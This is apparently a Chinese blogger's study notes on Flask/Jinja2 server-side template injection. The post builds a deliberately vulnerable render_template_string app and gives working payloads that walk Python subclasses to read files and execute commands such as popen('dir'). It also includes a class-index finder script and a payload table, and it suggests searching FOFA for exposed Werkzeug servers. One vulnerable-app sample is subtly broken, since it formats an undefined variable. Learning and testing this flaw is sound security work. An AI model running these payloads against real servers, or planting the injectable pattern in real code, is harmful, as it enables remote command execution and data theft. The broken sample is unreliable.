文章目录
使用Flask搭建网站
1、本地环境:
环境 | 版本 |
---|---|
编辑器 | Pycharm/2019.3.3 |
开发语言 | Python/3.7.6 |
框架 | Flask/1.1.1 |
渲染 | Jinja2/2.11.1 |
Response指纹 | Server: Werkzeug/1.0.0 Python/3.7.6 |
2、Pycharm新建项目“flask”,选择File-Setting-Project Interpreter-加号搜索Flask-左下角Install Package,或者命令行执行pip install flask
。
在Pycharm安装flask包时报错“No matching distribution found for Flask”。
查看Project Interpreter使用的Python解释器,发现使用的是anaconda中的python.exe,
切换成Python3.7.6的解析器,flask包早已存在Python3.7.6的包中。
3、测试代码,执行代码:
#coding: utf8
from flask import Flask # 从flask框架中导入Flask类
app = Flask(__name__) # 传入__name__初始化一个Flask实例
@app.route('/') # app.route装饰器的作用是将函数与url绑定起来
def hello_world():
return 'Hello World!'
if __name__ == '__main__': # 运行本项目,host=0.0.0.0可以让其他电脑也能访问到该网站,port指定访问的端口。
app.run(host='127.0.0.1',port=9000) # 默认的host是127.0.0.1,port为5000
4、然后我们使用burp抓包,查看一下服务器的指纹:
模板渲染
flask有2个渲染方法
渲染方法 | 说明 | 示例 |
---|---|---|
render_template() | 渲染指定文件 | return render_template(‘index.html’) |
render_template_string() | 渲染字符串 | return render_template_string(html) |
关于网站根目录,是Pycharm存储项目的位置,如下flask目录就是网站根目录。
import os
print(os.path.dirname(app.instance_path))
本地示例:D:\PyCharm Community Edition 2019.3.3\MyProtect\venv\flask
flask使用Jinja2作为渲染引擎。
在根目录创建templates目录,准备用于存放html模板文件。
创建/templates/index.html文件,代码编写为<h1>This is index page</h1>
。
测试代码1
#coding: utf8
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__)
@app.route('/index/')
def hello_world():
return render_template('index.html')
if __name__ == '__main__':
app.run(host='127.0.0.1',port=9000)
模板文件不是单纯的html代码,往往夹杂着模板的语法,需要传入变量。{{}}在Jinja2中作为变量包裹标识符。
题眼:不正确的使用flask中的render_template_string方法会引发SSTI。
测试代码2
其中模板文件templates/index.html的内容是<h1>{{content}}</h1>
。
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__)
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
if __name__ == '__main__':
app.run(host='127.0.0.1',port=9000)
存在漏洞的代码,测试代码3
模板引擎一般都默认对渲染的变量值进行编码转义,所以此处经测试不存在XSS。
但如果是html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
,那么就会产生XSS漏洞和SSTI漏洞。
注意,看到网上还有其它版本的漏洞代码,存在漏洞的源码不一定只有这一种形式。
#coding: utf8
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/index.html')
def user_login():
name = request.args.get('name')
#return render_template_string('<h1>hello, {{ name }}</h1>', name=name) # 不存在漏洞
# `return render_template('index.html', name=name)`也不存在漏洞
html = '''<h3>%s</h3>'''%(name) # 这种编写模板的方式存在XSS漏洞和SSTI漏洞。
return render_template_string(html)
if __name__ == '__main__':
app.run(host='127.0.0.1',port=9000)
渲染模板文件的三种方式中,第三种方式存在漏洞,会执行传入的表达式。
利用模板注入漏洞
环境准备
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
后台开发,基于如下测试代码。其中模板文件/templates/index.html的内容是<h1>hello,{{content}}</h1>
:
#coding: utf8
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/index.html')
def user_login():
content = request.args.get('name')
html = '''<h3>hello,%s</h3>'''%(name) # 这种编写模板的方式存在XSS漏洞和SSTI漏洞。
return render_template_string(html)
if __name__ == '__main__':
app.run(host='127.0.0.1',port=9000)
魔术方法和模块利用
通过Python的对象继承可以实现文件读取、命令执行等。
思路链:找到父类<type ‘object’> -> 寻找子类 -> 寻找命令执行、文件操作的模块
魔术方法
名称 | 说明 |
---|---|
.__class__ | 查看该类型所属的对象 |
.__mro__ | 查看该对象继承的基类元组 |
.__base__ | 查看该对象继承的基类 |
.__subclasses__ | 每个新类都保留了子类的引用,查看类可用引用的列表 |
.__init__ | 初始化类 |
.__globals__ | 查看类中的方法、属性等值 |
相关测试,逐层向上查看。有些不同的是,网上文章打印的类是<type 'str'>
,
而本地测试打印的类是<class 'str'>
,应该是Python版本的问题,无伤大雅。
Payload | 结果 |
---|---|
1.查看所属类{{’’.__class__}} | <class ‘str’> |
2.查看所属基类{{’’.__class__.__mro__}} | (<class ‘str’>, <class ‘object’>) |
{{’’.__class__.__mro__[0]}} | <class ‘str’> |
{{’’.__class__.__base__}} | <class ‘object’> |
3.查看子类信息{{’’.__class__.__base__.__subclasses__}} | <built-in method __subclasses__ of type object at 0x00007FFEDD175B30> |
{{’’.__class__.__mro__[0].__subclasses__}} | <built-in method __subclasses__ of type object at 0x00007FFEDD175E50> |
4.查看子类的引用列表 {{’’.__class__.__mro__[0].__subclasses__()}} | [<class ‘markupsafe.Markup’>] |
{{’’.__class__.__mro__[1].__subclasses__()}} | 返回将近1000个类 |
我们已经可以调用所有的类了,接下来寻找可以读取文件、执行命令的类,然后调用类中的方法,读取文件或执行命令。通过Python脚本,在子类列表中寻找特定类。
可用类 | 说明 |
---|---|
文件操作类’file’ | Python3.7.6中没有找到file 对象。格式file().read() |
- | 利用语句’’.__class__.__mro__[2].__subclasses__()[40](’/etc/passwd’).read() |
可用1.‘os._wrap_close’ | 读取文件:[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read() |
- | 执行命令:[128].__init__.__globals__[‘popen’](“dir”).read() |
含os模块的’site._Printer’ | Python3.7.6中没有找到’site._Printer’对象 |
- | ‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].system(‘ls’) |
含os模块的’site.Quitter’ | Python3.7.6中没有找到’site.Quitter’对象 |
Payload测试 | 结果 |
---|---|
5.寻找os模块或file等模块 | - |
类’os._wrap_close’ | 序号128 |
6.使用[’__builtins__’]().read()[“open”]成功读取文件:{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()}} | hello,bug |
7.使用[‘popen’](“dir”).read()成功执行命令:{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[‘popen’](“dir”).read()}} | 驱动器 D…… |
#-*- coding:utf-8 -*-
#__author__: HhhM
import json
a = """
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,...,<class 'jinja2.ext._CommentFinder'>
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k,v in enumerate(allList):
if "os" in v: # 寻找包含关键词os的类
print(str(k)+"--->"+v)
漏洞Payload测试和收录
清楚地梳理到__subclasses__()
、__globals__
,但对于全局的方法和属性的调用不太清晰,比如['__builtins__']
、["open"]
、['popen']
等。
今天先到这,下篇要写就写绕过过滤,顺便补充一下全局方法和属性的知识。
说明 | Payload | 结果 |
---|---|---|
验证 | name={{7*7}} | 49 |
查看配置文件的全局变量 | name={{config}} | secret_key、debug…… |
读取文件 | {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()}} | hello,bug |
执行命令 | {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[‘popen’](“dir”).read()}} | 驱动器 D…… |
待测试’file’类 | .__class__.__mro__[2].__subclasses__()[40](’/etc/passwd’).read() | Python3没有这两个类 |
待测’site._Printer’ | ‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].system(‘ls’) |
FOFA搜索漏洞
搜索"Werkzeug",搜索"hello" && “Werkzeug”,诚实地讲,很难碰到这个漏洞叭。
参考
《从零学习flask模板注入》,2018-10(吸收完毕)
https://www.freebuf.com/column/187845.html
《用Flask开发网站系列教程(一)——URL和视图》,2020-05
https://blog.csdn.net/jspython/article/details/106018350
《(1)PyCharm开发工具安装Flask并创建helloworld程序》,2019-06
https://www.cnblogs.com/jun1019/p/11052467.html
《如何获取Flask 应用程序的根路径?》,2018-07
https://cloud.tencent.com/developer/ask/140550
《浅谈flask与ctf那些事》,2020-08(吸收了近二分之一)
https://www.cnblogs.com/hetianlab/p/13541420.html